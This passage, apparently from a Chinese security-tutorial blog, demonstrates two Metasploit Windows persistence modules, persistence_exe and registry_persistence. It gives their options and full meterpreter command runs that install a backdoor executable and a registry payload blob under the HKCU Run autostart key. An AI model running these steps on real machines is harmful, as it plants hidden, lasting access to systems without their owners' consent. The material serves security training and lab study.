Module: post/windows/manage/persistence_exe
Platform: Windows
Arch:
Rank: Normal
Provided by:
Merlyn drforbin Cousins <drforbin6@gmail.com>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
REXENAME default.exe yes The name to call exe on remote system
REXEPATH yes The remote executable to upload and execute.
SESSION yes The session to run this module on.
STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
Description:
This Module will upload an executable to a remote host and make it
Persistent. It can be installed as USER, SYSTEM, or SERVICE. USER
will start on user login, SYSTEM will start on system boot but
requires privs. SERVICE will create a new service which will start
the payload. Again requires privs.
Module options (post/windows/manage/persistence_exe):
Name Current Setting Required Description
---- --------------- -------- -----------
REXENAME default.exe yes The name to call exe on remote system
REXEPATH yes The remote executable to upload and execute.
SESSION yes The session to run this module on.
STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)此模块将可执行文件上载到远程主机并进行创建持久性。涉及到四个参数
- REXENAME是拷贝到目标系统中的名字
- EXEPATH是将要上传的后门在本地的位置
- SESSION是选择运行此模块的会话
- STARTUP是启动类型，有USER、SYSTEM、SERVICE这三种取值，USER表示为将在用户登录时启动，SYSTEM表示将在系统启动时启动(需要权限)，SERVICE表示将创建一个启动服务项(需要权限)。
尝试一下：
meterpreter > run post/windows/manage/persistence_exe REXENAME=backdoor.exe REXEPATH=/home/ubuntu/shell.exe STARTUP=USER
[*] Running module against SAUCERMAN
[*] Reading Payload from file /home/ubuntu/shell.exe
[+] Persistent Script written to C:\Users\TideSec\AppData\Local\Temp\backdoor.exe
[*] Executing script C:\Users\TideSec\AppData\Local\Temp\backdoor.exe
[+] Agent executed with PID 3684
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mEMZDQOxkkeebI
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mEMZDQOxkkeebI
[*] Cleanup Meterpreter RC File: /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.1023/SAUCERMAN_20190612.1023.rc（4）registry\_persistence
完整路径为exploit/windows/local/registry\_persistence
和第一种方法类似，此模块将会安装一个payload到注册表的启动项中。
meterpreter > background
[*] Backgrounding session 13...
msf5 auxiliary(server/socks5) > use exploit/windows/local/registry_persistence
msf5 exploit(windows/local/registry_persistence) > show options
Module options (exploit/windows/local/registry_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
BLOB_REG_KEY no The registry key to use for storing the payload blob. (Default: random)
BLOB_REG_NAME no The name to use for storing the payload blob. (Default: random)
CREATE_RC true no Create a resource file for cleanup
RUN_NAME no The name to use for the 'Run' key. (Default: random)
SESSION yes The session to run this module on.
SLEEP_TIME 0 no Amount of time to sleep (in seconds) before executing payload. (Default: 0)
STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM)
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(windows/local/registry_persistence) > set SESSION 13
SESSION => 13
msf5 exploit(windows/local/registry_persistence) > run
[*] Generating payload blob..
[+] Generated payload, 6048 bytes
[*] Root path is HKCU
[*] Installing payload blob..
[+] Created registry key HKCU\Software\0BaG3zDR
[+] Installed payload blob to HKCU\Software\0BaG3zDR\iiEB4InD
[*] Installing run key
[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SMPqA5kB
[*] Clean up Meterpreter RC file: /home/ubuntu/.msf4/logs/persistence/192.168.81.154_20190612.2138/192.168.81.154_20190612.2138.rc同类型的还有其他payload，如exploit/windows/local/vss\_persistence，exploit/windows/local/s4u\_persistence。
结语
记录了一些MSF的使用姿势
红客突击队于2019年由队长k龙牵头，联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩，积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员，下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨，旨在打造国际顶尖网络安全团队。
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原始发表：2022-08-05，如有侵权请联系?cloudcommunity@tencent.com 删除
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